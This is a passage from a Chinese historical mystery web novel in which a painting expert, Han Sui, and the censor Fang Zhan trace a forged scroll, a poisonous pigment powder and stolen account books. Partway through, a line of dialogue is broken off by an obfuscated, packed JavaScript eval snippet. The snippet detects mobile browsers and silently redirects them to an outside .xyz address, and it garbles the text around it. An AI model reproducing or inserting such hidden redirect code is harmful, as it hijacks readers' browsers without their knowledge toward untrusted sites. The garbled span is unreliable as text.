可祖父与姨父的话里却都是夸赞,她便无聊又生气地扭动起身子,滑落到地上,跑去后园看姨母染指甲去了。 没想到的是,几年后她会再次见到那四副曾叫她“失望”的画。 不过这一次,她已是跟随祖父出入翰林画院一年之久的得力助手。而那四张画也变了,不再被册页镶裱在一起,而是分开装裱成四副卷轴,与一堆同样来路不明的古籍字画静静待在一个大樟木箱中。 那是一个霏雨不断的初夏午后,所有人都跑去城外永定河边看从南方运来的龙舟下水。 祖父却心系堆放在画院厢房、尚未来得及登册入库的那些书画。 厢房阴潮,其中几件还是历经百年的古迹,还有的因先前存放不当,已经状况堪忧,他需得尽快将它们移入有防潮措施的库阁内。 于是正准备跟着堂姐热热闹闹去隔壁家射粉团的韩穗,在门口被祖父抓了个正着,不情不愿地回去换下特意搭配的一身葱绿衫裙,重作书童打扮,跟祖父一同撑伞入了宫。 是以她在画院再次见到《沂溪草堂述雅图》时,多少带着些私人怨气。而那日的祖父似乎格外伤春悲秋,非要给她讲这画曾经的辉煌。 那些个一画千金的传奇从韩穗左耳朵进了又从右耳朵出,她盯着其中一卷展开的“望山”图心猿意马,视线胡乱扫过画面时,忽地被左上角一枚造型奇特的钤印吸引住。 在一列大小不一的方块篆字印章中,有一枚由左右两只形态拙朴的“鸟”组成,右侧的昂首静立,左侧的则姿态似要一飞冲天。 “阿爷快看,这钤印好有趣,竟是两只鸟!”韩穗打断正独自吁叹感慨的祖父,指着那枚花押问道:“这是何意?” 祖父韩归便放下手头事,探过身来一看,道:“哪里是鸟,这叫‘鸡鸣’印,取自诗经‘女曰鸡鸣’,是画者白川的私人花押,也是鉴别其真迹与仿作的重要依据之一。” “告诉你一个小秘密。”祖父神秘一笑,取来一把小巧的水晶放大镜:“先帝崇好白川画作,献媚者便四处搜罗其作,如此一层传一层,竟演变成为官员间‘雅贿’风气,白川的画更是身价飞涨,坊间便有技高不轨者仿制牟利。” 祖父将水晶镜置于“鸡鸣”花押之上:“造假者将心思放在笔触模仿上,却遗漏了钤印。真迹上的‘鸡鸣’印边缘破损参差,而后人仿制的却流畅规整。” 彼时的韩穗出于好奇只看了一眼,随即兴趣就被那把水晶镜给勾走了。哪里会想到,是日祖孙二人间一段随意的对话,竟能在多年后派上用场。 此时在马车上鉴画的韩穗,心中已有了定断。 眼前画面左上角那堆印章中,别说印迹边缘如何了,压根就没有那枚鸡鸣印。 见她两弯好看如新月的眉颦蹙起来,方湛问道:“如何,可是看出什么来了?” “这画是假的,”韩穗精确地指在画面一空处,“这个地方,缺了一枚作者特有的私印。” 方湛对她在书画一域连淮山先生都赞许一句“博古通今”的专长别无他疑,他全然信任,点头后又问:“还有别的吗,比如,这画是谁仿的,又或者它是何来路?” “你这些问题哪里是看几眼就能知道的。”韩穗抱怨了一句,但她还是如实道明自觉奇怪之处:“不过我想提醒一下,这个印,你可多加留意。” 方湛俯身上前,只见她食指指向画面角落一枚形状似桃子的印章。 “溯...…朴?”他从那桃状框印中努力辨别出两个挤变形的字,疑惑不解,“为何要留意它?” 韩穗道:“既是假画,自然处处仿古,就连上头的印章也是有意做旧的。”她拿起画,起身落座,双手执画,循着日光微微侧举。“呶,你看,这枚桃形章颜色鲜艳,印迹饱满,明显是不久前才盖上的。” 方湛与她一对视:“所以呢?” “所以我怀疑,这印章很可能为上一个持画人所有,”韩穗道,“很多藏画爱好者喜欢在画上加盖私押,说不定约刘百盛出来赏画的那个人,也有此癖好呢。” 方湛却更加谨慎:“如此推断未免笼统。” 他沉吟一番,又试图从另一个角度推断:“据刘百盛身边人说,他最近一年突然做起了书画生意,曾盘下两家在云州经营不善的书画铺子,会不会那人与这一点相关?” 心念电转,韩穗兀地惊呼一声:“我突然想起一人来!此人名叫商卓,自称是从扬州而来的裱褙匠,曾与刘百盛在葫芦街旧货市场寻找白川画作,会不会就是他!” “商卓已经跑了,”方湛淡淡道,“刘百盛一出事,当天他就不见了。” 韩穗刚想说“果然 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朝光透过洞开的车窗,在车厢地板上投下一方明晃晃的亮。 地上手卷跌得松散,先前被一长截题跋卷盖住的轴头,早已骨碌碌滚开,刚好停在那方光亮之中。 而浅茶色包绫轴头上的一处胭脂色指印,便被那光耀得格外突兀醒目。 韩穗拾起画,示意给方湛那处似被颜料弄污的痕迹:“这是你搞脏的?” “自然不是。”方湛又仔细回想了一下:“此画被寻到后一直在我手中,而我示于他人时,他们也未曾上手。” “奇怪……”韩穗忍不住犯起嘀咕,缓缓坐回去,沿着轴头往右侧的主画部分看去。 她本意是想检查画上是否还有其他污迹,却不料在轴头与隔水绫的夹缝处发现一些细细的黄粉末。 她用指腹轻轻沾取一点,靠近鼻尖嗅了嗅,又用指尖揉搓,只觉粉质细腻、无特殊气味,不似木屑,也并非香灰、雄黄一类的东西。 此时方湛也意识到哪里不对,凑将过来:“这是什么?” 韩穗却不理他,仔细观察黄粉,弯眉微蹙,似有所悟。忽然之间,一个念头从脑海中飞闪而过。 她指着角几上一套便携茶具,对方湛道:“给我倒一点水来。” 方湛不明所以,但全然照做。 韩穗接杯,将沾有黄粉的指尖伸进去略一搅,只见瞬间那水就变成娇艳的紫红。 她不禁出声:“黄不老?” “‘黄不老’又是何物?”方湛一头雾水。 “一种用来取色做颜料的植物,”韩穗快速解释,“本体呈黄色,晒干研磨成粉,其粉遇水后就会变色成胭脂红,固色持久、千年不变,名字就叫‘黄不老’。” 韩穗举起手指,沮丧道:“倒霉,这颜料弄到手上得大半个月才能洗掉。” “不过,这倒是跟轴头上的指印对上了。”她又瞥了眼沾在隔水绫上的黄粉,不由疑惑道:“谁这么冒失,把‘黄不老’的生粉洒在了画上,难清洗不说,不知道这玩意儿有毒吗?” “有毒?”方湛惊诧万分,“有何毒性?” 此话却把韩穗给问住了:“这我还真不清楚,我只知‘黄不老’是云州西境特产,因它取色困难,只能制成粉末调入浆水显色,常被本地人用来彩绘壁画佛像,而习惯用绢或纸作画的文人从不使用。” 方湛了然,难怪他跟随淮山先生多年,对各种颜料也算熟悉,却从未听说过有毒的“黄不老”。 再说他昨日拿到此画后,因以为是真迹,每次查看时都是置于桌面上小心翼翼展开,再加上注意力只在画面之上,居然忽略了此处细节。 他从韩穗手中拿走茶杯,看了眼杯中艳如胭脂的水,随即目光又落至沾有黄粉的画上。 他心中已隐有猜测,但仍开口问道:“你觉得,这粉末会是如何出现在这里的?” 29. 刘百盛之死(三) 韩穗的父亲在泰州做官时,即主管司狱之事。 她随父生活那几年,常听说官衙如何靠勘验推寻断案,彼时只觉有趣。不想今日真的亲历查案,却是谜团一个接一个地冒出,叫人毫无头绪、束手无策。 至于方湛适才提出的问题,她更是觉得无处可想,不禁蹙眉碎念道:“石窟画匠惯用的颜料,却出现在一副旧朝文人画上,而此画又是副赝品,上头还有个崭新印章,这几处怎么看都风马牛不相及,甚至感觉与寻找凶手的最初目的越来越远了呢?” 方湛敛袖,将手中杯盏归位:“看似远,实则已离真相咫尺之间矣。” “怎么讲?” “只要解开印章、‘黄不老’两个谜题,此案就能彻底告破。” “废话。”韩穗用口型骂道。 方湛假装没看见,却忍不住莞尔:“韩小姐单从一副画上就能看出多条重要线索,看来本官是找对求助之人了。所谓‘术业有专攻’,印章与颜料都属书画之事,接下来的查案,恐怕依然离不开韩小姐相助。” 韩穗闻言并不急于表明态度,面上不动声色,心思却已几番回转。 只方才这一会儿工夫,她已意识到,此案勘查链条中断多处,新发现的线索又无异于大海捞针,刘百盛之死多半要成悬案,她可不能真把品兰的自由身关系到这破案子上。 可毕竟眼前人是父亲的上司,断然拒绝岂非拂了他的面子? 两相权衡,她最终接招:“接下来的事也不难,要想查证印章,我可推荐一人,鹊英大街上的莫云斋老板许春年。许老板的书画生意贯通南北,见多识广,且有收集印章的癖好,说不定对那‘溯朴’印有所知晓。” “至于沾在画上的‘黄不老’,只能用最笨的法子了。云州西山遍布石窟寺,寺中多彩塑与壁画,那边有个白洞村,村中聚集彩绘工匠和颜料铺子,方大人不妨派人去查查看。” 韩穗提出以上建议,是本着极不负责态度的。 她随口扯出两条听上去像那么回事儿的思路,只想将后续查案之事推给官差,自己再找个借口溜之大吉。 是以当方湛对她的提议拍案称赞时,她一时懵怔。 “韩小姐果然聪慧,须臾之间就能找到解难之法。只是本官初来云州,多有不熟之处,还要麻烦韩姑娘为我等引路。” 不等韩穗回过神,方湛早已唤来车外玄英卫,吩咐道:“即刻启程,去莫云斋。再去跟韩家随从说一声,本官借他们姑娘一用,申时之前自会把人全须全尾送回韩宅。” 兵卫领命离去,只下一刻,车外扬鞭声起,车身便在马蹄声中不由分说地疾疾驶动。 韩穗张了张嘴,眼看站在路边束手无策的先秀与通山从窗外一闪而过,终是认命地合上了嘴—— 看来这“贼车”不是她想下就能下的! 车行一路,二人无话。 抵达莫云斋后,韩穗抢先下车,挑帘入内时,老板许春年正在柜后翘着二郎腿吃茶看账。 许春年乃云州人士,但与当地人典型的宽额阔颔长相刚好相反,面窄人瘦,鼻高眼凹,头戴六合统一帽,身着螺青直身,待人接物惯是双眼眯笑、滴水不漏。 听闻门口响动,他从玳瑁眼镜上方看出去,待识清进来的两人,先是一愣,随即撂下手头账本,堆笑起身,小碎步从柜后绕出,上前躬身下拜。 双方寒暄几句,方湛即说明来意。许春年闻言忙将二人引至楼上雅间,又唤伙计上茶果招待。 一落座,韩穗就将手卷铺展于桌上。许春年戴了眼镜凑将上去,看向韩穗纤指所指之处。端详了好一会儿,他抱歉道:“恕在下眼拙,我对此印着实没甚印象啊。” “别急着论断,”韩穗提醒道,“听闻许老板有一本印谱,搜集了江南江北各大名家铺号、文人雅士的钤印花押,会不会您的印谱恰好有收录过此印,只是隔了太久忘了呢?” 许春年恍然回悟:“对对,韩姑娘提醒得是,还请二位在此稍候,我这就去取印谱来。” 许老板走后,韩穗皮笑肉不笑道:“今日倒是托方大人的福,总算有机会看到许老板的钤印收藏了。那老头对自己的印谱宝贝得很,从不轻易示人。” 方湛只管饮茶,浅笑不语。 一盏茶功夫,许春年去而复返,双手中多了一个方正漆匣。 “都在这里了,请大人与小姐过目。”他搁下方匣,小心翼翼地从中挪出一摞经折装册页。 方湛取最上层一本,只见封面题签上书有“闲章印谱”四字,打开后每页各收录一列形状不一的印章,旁边则配有蝇头小楷简注,包括印章字迹、含义及出处。 看到如此精致收藏,韩穗由衷感叹:“不愧是十五岁起就走南闯北做字画生意的许老板啊,这哪里还是什么印谱,分明就是您见多识广、博闻强识的缩影!” 千穿万穿,马屁不穿。许春年听后心下大悦,愈加谦逊:“若能为二位贵人效力分忧,也算小老儿没白费功夫。” 客套话说得差不多,三人便开始分工寻章。 很快,方湛率先在一本册页中找到了那枚“溯朴”桃形印,只见旁侧的小字写着“成乾九年秋,上京溯朴画斋鸿发之喜”,再无他注。 可怜的许老板在二人的殷切注视下,想破了脑袋也没想起,七年前他去上京到底是在何种情形中盖下的此章。 眼看他就要把自己的后脑勺挠秃了,方湛开口道:“无妨,能确定这是一家上京的画铺足矣,某还有一事需向许老板请教。” 许春年躬身:“大人尽管问,小人定知无不言。” 于是方湛便问起店中是否有售卖“黄不老”这种颜料。 “回大人,其实‘黄不老’非颜料本名,而是一种植物,取其根部晾干研磨成粉,粉呈黄褐色,遇水转为紫红,简单处理后可制成颜料,取名‘魏红’。不过,魏红制法粗糙,在绢纸上显色不佳,惯用于壁画彩绘,是故寻常店铺不会出售此颜料,大人若想买,可去西山白洞村的马记字号,那里多石窟寺庙,马家祖辈都以制作壁画彩塑的颜料为生。” 许春年这一番话倒与韩穗的那套说法颇为一致。方湛点头,又问:“据说‘黄不老’有毒,可是真的?” “正是,‘黄不老’的生粉有剧毒,误食者会在一个时辰内呼吸麻痹而亡,面容绀紫,不过大人不必担心,其粉经熬煮后制成颜料,毒性大减,寻常用来作画无性命之忧。” “有剧毒?”方湛脸色骤变,看向正一脸呆懵的韩穗。 她似乎是被吓到了,缓缓伸出方才搅拌“黄不老”混入茶水的那只手,盯着指尖一抹红痕出神发愣。 方湛迅速从怀襟中抽出一块叠得方正的帕子,拉过她的手,使劲擦拭她指尖上的红痕,然而那色块却纹丝不变。 许老板见状了然:“啊哟,韩姑娘的手莫不是沾染上‘黄不老’了?这样擦是擦不掉的,用醋,用醋可去除。” 他连忙命伙计取来小半碗陈醋,叫韩穗把手指浸入,又安慰道:“二位也不必惊慌,这东西只要不吃下去就没事儿,况且,什么毒也讲究个剂量不是?” 方湛听后略放平心,用帕子抹了几下韩穗泡醋的手指,果然那色痕一点点去除。他刚要再给她仔细擦净,那只嫩软微凉如柔荑的手嗖地就抽走了。 韩穗不动声色地将手藏在桌下,向许老板发问:“将才您说‘黄不老’的毒性会在一个时辰内发作,也就是说,人刚吃进去并不会立刻觉得难受?” “嘶,”许春年被难住了,“这我还真不知,关于此物的毒性,我都是从书上看来的,寻常生活中也没听说有谁中过它的毒啊。” “那若是我想搞到一些有毒的‘黄不老’生粉,该去哪里买呢?” 韩穗发问时的认真态度叫许老板心里直发毛,嘴上不免结巴起来:“只、只能出城,去西山那边的颜料铺坊问问看。” “西山。”方湛定定念出这二字,目光淡淡看向韩穗:“看来,这云州西山还真得走一趟了。” 二人步出莫云斋时,外头已日上中天。 鹊英大街上年味愈重,不远处有人群围观杂耍游艺,锣鼓阵阵,喝彩连连,人声鼎沸中一派喜气非凡。 见方湛驻足观望,许春年忙上前笑着介 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“真凶确实难找,但要证明无辜却简单得多。尤其是品兰一娇弱女子,本就是被刘百盛以下作手段强娶入门,饱受折磨凌辱,直到那姓刘的惨死之前,她都一直被囚禁在一方破落院子里,何来的手段谋害刘百盛?若由我来主审此案,必先排除不可能作案之人,实无必要将刘家一干人全部圈在牢中。” “再说了,”韩穗越说越气,“那刘百盛生前本就恶贯满盈,如此结局算是他该得的报应,何苦费这些功夫揪出杀了他的人绳之以法呢!” “你说完了?”方湛挑眉问道。 “说完了。” 方湛立即对外扬声:“出发,去北门茶楼。” “不是,”韩穗急了,“我方才那番话白说了?你就不觉得很有道理?还有,你带我去茶楼作甚?” “稍安勿躁,去了便知。”青年说罢便抱臂作闭目养神状,一副懒怠理人的架势。 韩穗也气鼓鼓地倚在车壁上,心想以后出门还是得先翻翻黄历。 —— 北门茶楼正如其名,就坐落于内城北门旁侧,最早只是一处简陋茶棚,在店家的勤劳经营下,最终改头换面成一座朴素不失清雅的二层茶楼。 热肠店家将韩穗二人带至楼上雅间,一推门,便见一位佩刀大胡子男子早己候在其内。 此人正是裘明。 店家离开后,方湛开门见山:“昨夜利昌赌坊遭窃一事可有眉目?” 裘明欲答,却看了眼韩穗,神色迟疑。 方湛道:“韩姑娘奉本官之命协助查刘百盛一案,但说无妨。” 得此令,裘明这才坦然答复,顺便还将赌坊遭窃前情给韩穗简要交代一番。 原来,这日天色将亮之时,就有利昌赌坊的伙计跑到府衙报案,称昨夜三更有人闯入赌坊,将楼上楼下全翻找了个遍。 彼时方湛急着出门,不曾细问,只将此事交给裘明去查,又约好二人午时在此碰头。 裘明道,这家赌坊正是刘百盛的产业,此前因东家被民乱杀官案牵扯入狱而关闭,赌坊内一应值钱的东西早被转移,倒也无甚损失,只是账房那屋被翻腾得尤为厉害,看上去是贼人最上心之处。 “属下命人把账房先生、赌坊掌柜等人叫来,挨个房间一一检点,发现并未遗失任何东西。还有,此贼入室作案极为小心,不曾留下任何可查线索。” “有意思,”方湛沏一盏茶,双手递至韩穗跟前,“对于此事,不知这位女校书有何高见?” 韩穗不客气地接下茶:“这还需要什么高见,很明显,那贼人并非为财,应是在找什么东西,十有八九还是空手而归。” “我倒是有一个更为大胆的推测,”方湛沉吟道,“这贼与杀害刘百盛的凶手或许就是同一人,那晚他约死者看画或许只是一个借口,实则二人谈某事没有谈妥,凶手便起杀心,使了某种手段让刘百盛延时中毒,利用刘家车夫,营造其冻死假象。再联想昨夜那贼翻找东西的地方,极有可能,他的目标就是,刘家赌坊的账簿。” 30. 刘百盛之死(四) 裘明闻言,目光灼灼:“大人明察,属下亦有此猜测,是故审问了赌坊掌柜等人,但他们都说,叶阳县民乱案一出,刘百盛就将赌坊大大小小账簿全部收走了,具体存放在何处谁也不知。” 方湛嘴边浮上一抹冷笑:“一个想找,一个偏要藏,料想这账簿有点意思。” “如此重要的东西,此贼人一试不成,必不会死心,”他拈盏浅呷一口清茶,对裘明道,“围守刘宅的快班兄弟们也熬了两日了,叫沈参领从入城的边军里挑一队人马,接替他们,不得留一处能叫贼人可乘之隙。” “大人这是怀疑那些账簿都搁在刘宅里头?” 方湛扫一眼正低头品茶的韩穗,挑眉道:“就当是吧。总之,加强对刘宅的围守戒备,叫那贼人想进不得,将其牵制在云州就是。” 一直在旁竖着耳朵静听的韩穗,突然插话:“大人既怀疑那贼人就是凶手,为何不借机设饵,直接将人捉住,如此不就破案了么!” 只要早一天破案,品兰就能早一日证明清白回家,而她也能少一日与这厮的纠缠,可谓皆大欢喜。 “可万一捉住的人并非凶手,而是他的一个喽啰,真凶受惊后放弃寻找账簿,连夜潜逃出城,岂非弄巧成拙?” 青年说话时似笑非笑的神情,叫韩穗无名窝火。她撂下茶盏,勉强挤出一丝端庄笑意:“还是大人思虑万全,受教了。” 方湛对她语气中的不服之意恍若未闻,以笑回之,随即问起裘明查访刘百盛死前所去酒肆的情况。裘明却道负责查访的小分队尚未回来,方湛便叫他得了消息于申时后再去醉云天回话。 当下一段告结,三人吃了几杯茶,方湛见裘明几次欲言又止,便提议送韩穗回去。 韩穗自然求之不得,头一个起身下楼,径自上了马车。在车上坐定一会儿,却不见另一位跟进来,推窗一望,只见那二人己拐至一处街角,神色冷峻地不知在交谈什么。 再说裘明,他着急赶来茶楼相见,可不止为回禀赌坊遭窃一事。然而更多的他却不敢在韩家小姐面前冒然提起,只因此事与离京前圣上交待给御史大人的密旨有关,个中轻重,他还是能分得清的。 这一处街角连通死胡同,除了冷风飕飕往里灌,再无其他人迹,倒是个说秘事的好地方。 “大人,张金龙的消息有了。” 方湛神情一凛:“速讲。” 裘明便把手下探来的情况一一报上。 张金龙并非云州本土人士,五年前孤身一人来此地,在城南重金盘下一家镖局,挂招牌为“万顺”,而这个时间节点正是矿监田青总管西山银矿不久后。 这万顺镖局干的营生乍看与寻常同行没什么差别,不是押货就是送人,但裘明等人夜探镖局,取其账簿并盘查,发现自张金龙接管后的走镖几乎全部在定州、上京和云州这三地间往来。 “定州。”方湛语气淡淡地重复了遍地名。 定州正是矿监田青的老家。 “是定州。”裘明点头确认,继续道:“我等还发现,自从刘百盛在云州靠着赌坊做大生意后,万顺镖局走镖护的几乎都是刘家的货物,固定每月两次往来云州与上京,运的皆是字画古玩、精奇物件之类。属下命人秘查得知,刘家在上京果真有个铺子,每月那两次走镖,正是给铺子供货。” 除了鼎昌赌坊,刘百盛在云州的确还有几家售卖字画古玩的铺子,运的货物倒能对得上,只是每月两趟的频率让方湛觉出些不对劲来。 云州、上京两地间一个往返就是十天半月,一次走镖花费不少,而古玩字画并非囤积不得的吃食,此类铺子的补货半年一次都是寻常,刘百盛一介商人不会不晓得这些。 “属下还打探到一怪事,刘家每月那两趟镖,张金龙只跟月初的那一次,但他中途会绕路到定州,说是探望住在那儿的妻儿。” “他在定州有妻儿?”方湛疑惑。 裘明回道:“此事属下尚未查实,可要派人去定州走一趟?” 方湛并未回应,径自问道:“张金龙眼下人在何处?” 裘明一听,立即抱拳重声请罪:“恕属下无能,翻遍了整个云州,都未发现此人踪迹。但我等查到,自今年六月起,刘家向上京走镖次数锐减,最后一次便是叶阳县出事第二日,张金龙跟镖出了云州城,再未回过镖局。” “即刻派人前去定州,”方湛果断下令,“切记,定州是田内官的老家地盘,行事需隐蔽小心。再暗中绑个镖局的人,好好问问,我倒好奇,镖局的镖头凭空消失了这么久,他们能作何解释。” 裘明领命,又确认别无他事,便要转身离去。可刚走出几步,就被身后人叫住。 “等等,还有一事。” 他回身待命,却见那位向来果断精干的年轻大人,居然有些面露犹豫。 不过那迟疑转瞬即逝,青年开口:“既要派人前去定州,可顺便查一下当地的仕门大族白家。” “大人怀疑白家也与云州之事有关?” 方湛不置可否,似若无意地望了眼不远处停在街边的马车,冷冷道:“且先查查那白家十一郎究竟为何和离。” —— 去往韩宅的路上,方湛异常沉默。 韩穗只当他是为查案捉凶思虑,乐得清静。 眼看进了四方胡同,身侧人忽然开口,却问了一个与查案毫无关系的问题。 “此前听你称呼州府同知徐醇风为叔父,似乎韩徐两家关系不错?” 韩穗先是愣了片刻,随即反问:“难道这也与查案有关?” 方湛将她的警惕看在眼里,温和一笑:“不必紧张,你父亲与我叔父淮山先生是挚交,而你我又同为先生的学生,关系如此之近,方某理应对韩家的事上心一二。” 简直鬼扯。 韩穗在心里狠狠翻了个白眼,虽不想搭理他,但想来她父女二人与徐醇风的关系没什么好隐瞒的,便长话短说道:“徐叔父是湖州人士,恰好我们家的祖籍也是湖州。因此刚来云州时,父亲受到徐叔父颇多照拂,就连如今住的宅院都是他帮忙找的。再者,他二人都是早年丧妻,孤身上任,经历相似,性情相投,又同好书法,关系自然不错。” “孤身上任?徐大人在云州没有家眷亲属?” “没有,”韩穗摇头,“徐叔父的发妻与我母亲一样都是早逝,只是他二人并无子嗣。徐叔父又不肯纳妾,为人清静自在,是以在云州多年一直是孤家寡人,就连府中也只有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14995563|158856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个管家并一位老仆。” 方湛了然点头。 说话间,马车已缓缓趋停。韩穗心知到家,正欲起身告辞,却被方湛开口拦下。 “今日在茶楼你应已听到,有人盯上了刘家账簿,为得到那账簿,甚至不惜杀人灭口。如此穷凶极恶之徒,若是叫他得知刘百盛死后,韩姑娘曾潜入刘宅拿走了不知什么东西——” 他顿了顿,黝深目光定落至韩穗一张渐渐惨白的脸上,幽幽道:“其实方某也是出于好心,就怕韩姑娘拿了不该拿的东西,引祸上身却不自知。” 韩穗心间骇动,与面前人目光相接之时不免有所躲闪。 可转念一想,自己从刘宅取走的分明只是一副旧画,与账目无半点关系,于是找回底气,重新抬目:“不劳大人忧心,什么该拿,什么不该拿,我自有数。也请大人放心,凡是与查案有关的物证我绝不会私藏。眼下大人想速速破案,民女亦想挚友早日归家,你我二人目的一致,同心同德,大人实在不必像四年前在书院时那般,对我提防有加。” 最后一句讽刺犹如利剑穿心。 方湛被噎得一时哑然。当年他在书院对韩穗隐瞒身份,虽有苦衷,但确非君子之道,若不解释缘由,只能自认理亏。 他倏地收回审视的目光,唇角一抿:“韩姑娘会错意了,本官绝无怀疑与提防,不过是担忧府衙官眷的安危罢了。” 说着,他伸手推开车门,唤来一名随行的玄英卫:“韩小姐奉本官之令协查命案,恐招致凶手暗中报复,即刻起就由你来专责保护韩小姐周全,不得叫她有任何危险。” “是!” 玄英卫的重声喝应叫韩穗没由来地心慌。 她抚着胸口下车,头也不回地迈入家门、穿过庭院,直至回到后院卧房,又关上内外两重门,这才长长舒了口气,瘫倒在床上。 这日只才过去半天,可韩穗却觉得像吃苦了一辈子,头也昏昏、腿也沉沉。 “古怪又难缠,古怪又难缠!”她恨恨骂着姓方的那位,越想越生气,最后腾地坐起身,将进屋送茶点的先秀吓了一跳。 “他绝对是故意的!”韩穗不由分说地抓住先秀的胳膊,诉起苦来:“他明知品兰无辜,还故意将她扣押,就是不想要我好过,现在又派一个阴沉沉的玄英卫跟着我,说得好听是为保护,实乃监视,分明就是想探看我把品兰的画藏去哪里了!” 先秀被固在原地不敢动,战战兢兢问道:“姑娘这是在骂.…....方大人?” “除了他还有谁。”韩穗撒开手,伏靠在床沿上发蔫。 “姑娘应是想多了,”先秀搁下茶点,宽慰道,“方大人是奉旨来主持公道的京官,与我们韩家从无交集,更何况姑娘是后宅女子,他为何要故意刁难呢,难不成姑娘与他有仇?” 先秀此话本意为打消韩穗的顾虑,哪知刚好踩中了她的命门心事,致使后者紧紧闭上眼,暗自叫苦。 可不是么,他与她有仇。 一个欺骗,一个背弃,彼此之间,各有各的怨念。 这样的两人,错过、忘了也就罢了,偏偏如今又被一条看不见的线冥冥牵引到了一起。 韩穗缓缓睁眼,幽怨叹道:“孽缘啊……” 31. 刘百盛之死(五) 隆冬的晴好日头总是转瞬即逝,马车驶离四方胡同时,正午艳阳笼下的暖意也随着它的西斜被冷风悉数吹尽。 方湛推窗望了眼天色,命赶车人快马加鞭,朝着云州城东那座雕栏玉砌的醉云天酒楼赶去。 昨晚他已与冼牧川说定,今日日中时分在醉云天相见,未料中途又多出一趟护送韩穗回家的行程,不免耽搁了半个时辰,按照冼七爷的性子,指不定现在正如何拍案骂他呢。 然而待他步入醉云天最奢华的天字号雅间内,只见冼牧川非但毫无怨气,甚至惬意无比,斜靠在美人榻上,双眼微眯,边享受饮佳酿,边聆听美乐仙音。 榻脚边的杌子上,还端坐着一人,此人却拘谨不安,面色惶惶,不是别人,正是被冼牧川半胁迫半哄骗拉来的州府同知大人徐醇风。 却说他今日本该待在府衙主持刑审事宜,怎奈这位京城来的冼七爷,从一大早就开始缠着自己不放,不是请教公务,就是打听风土人情。 他自然知晓冼家在上京的厉害,不敢得罪眼前这位爷,只好笑脸相迎,想着公子哥儿无聊了自会离开。 不料整整一个上午,冼牧川逮着他从诗词歌赋聊到人生哲学,大言不惭地宣布与他是“一见如故”。眼看正午将至,总得让人去吃饭吧,谁知冼牧川又拖又拉地将他带到醉云天,非要宴请他一顿不可。 这顿饭吃得可谓是惊魂不定。 徐醇风甫一坐下,就被两名貌美的乐姬一左一右夹在中间。他慌忙起身跳到老远的地方躬身告罪,将大胤祖帝颁布的为官十二禁令从头开始背起。 冼牧川懒得听下去,更不想费口舌与他争辩,挥手将几名乐姬赶到角落。“那十二禁令里可没说不让听曲儿吧?” 徐醇风这才坐回去。席面刚开,他又弹起来告罪,望着一桌子的玉盘珍馐,诚惶诚恐道配不上小冼大人如此招待,巴拉巴拉说了一堆“无功不受禄”之类的话。 后者总算明白过来,他这是怕“吃人嘴短”,心里不由暗骂此老头迂腐、小家子气,可面上还得装出遇到知音的热情,各种安抚自证只是单纯一顿饭而已,好说歹说才成功劝他坐下举箸。 按照方湛的要求,冼牧川得将人拖住在此处直至他赶来。可饭也吃了,酒也喝了,“投机”的话也穷尽了,姓方的却还不出现。 不过冼牧川乐得不用回衙署坐冷板凳,便叫乐姬一首又一首地弹奏,只苦了徐醇风,听也听不安心,想走又脱不开身。 是故当方湛现身于醉云天时,徐醇风一瞬间竟有种救兵到来的如释重负感。然而下一刻,他就腿软着跪下去:“下官该死,擅离职守,懒惰旷误,请御史大人治罪!” “徐大人,如此说话便是见外了。”方湛将徐醇风从地上搀拉起来。“来云州这些时日,徐大人的恪尽职守本官可是看在限里,定是那冼七郎穷极无聊、无所事事,硬拉徐大人作陪。” “你……”冼牧川对他这番话中的不友好很是不满,但还是配合出笑脸道:“哪里的话,还不是因为徐大人性格好又风趣有内涵,其他人我还看不上呢!” “不敢当,不敢当,承蒙冼少监青眼,不胜惶恐。”徐醇风躬身长揖,又见机道:“今日虽相谈甚欢,然衙署中公务繁多,恕下官不便久留、先行告退。” 冼牧川觑了眼方湛的眼色,同意道:“行,去吧,咱们改日再聊!” “改日再聊,改日再聊。”徐醇风如蒙大赦,退行出去。 方湛屏退所有乐姬随侍,待屋内只剩他二人,撩摆坐定于座上,取杯为自己斟茶,边饮边听冼牧川与自己诉苦。 “从前也没人告诉我,装模作样竟还能这么累!”后者吊儿郎当地摊躺在榻上,捏着鼻梁,似殚精竭虑。 “他可有起疑?”方湛问。 冼牧川嗖地弹坐起来,沾沾自喜道:“那必不能啊,还得感谢本公子不务正业的‘威名远震’,这不着调的事儿换了谁做都得惹人怀疑。” 方湛淡淡一笑:“那倒是,耍无赖拖住人你在行,就是不知观察人的本事如何。” “有收获!”冼牧川起身离榻,坐至桌边,“你不是让我先跟着他,看他应对刘百盛命案的异常之处么,你猜怎么着,我还真发现他有问题!” 方湛手握杯盏的力度一紧:“有何问题?” 冼牧川警惕地看了看实则空无一人的四周,凑上前神秘道:“我发现,徐醇风是个老滑头。” “上午府衙总共就俩事,一是二次提审死者的车夫,二是初审几日前因当街闹事入狱的赵二,这俩活儿徐醇风是一个也不接啊,对刑房的人说他不熟悉狱讼之事,全部推给了韩通判。” 狱讼之事原本确实不归州府两位老爷管,然专责此事的推官一月前回乡奔丧去了,眼下衙门里一应刑狱堂审的诸多事宜都落在同知大人和通判大人身上。 韩立煜早年曾在泰州做过一段时日的推官,论业务熟悉程度,确实比徐醇风强。 “但是依大胤律例,官府审案需有两位堂官在场,韩通判一人如何使得?”方湛问道。 “还有黄知府那老儿呢!”冼牧川捻了块蜜饯扔进嘴里,边嚼边含混不清道:“所以说这徐醇风偷懒偷没边了,连自己的顶头上司都不放过。哎,我跟你说,你别看他方才在这儿一副心系公务的样子,都是装的!” 他心服口服地拍着方湛肩膀道:“我现在可算是明白你为何让我盯他了!” “你.....明白什么了?”方湛迟疑反问。 “咱们几位翘楚才俊奉旨来云州巡察,不就是为了惩治不作为的地方府衙么?”冼牧川自信道,“明渊兄到云州后表面专心查案,实则暗暗观察衙署里这几位大人,一眼就锁定了徐醇风这种尸位素餐的官员,这才派我去引他放松警惕、露出原形。你就说我理解得对不对吧!” 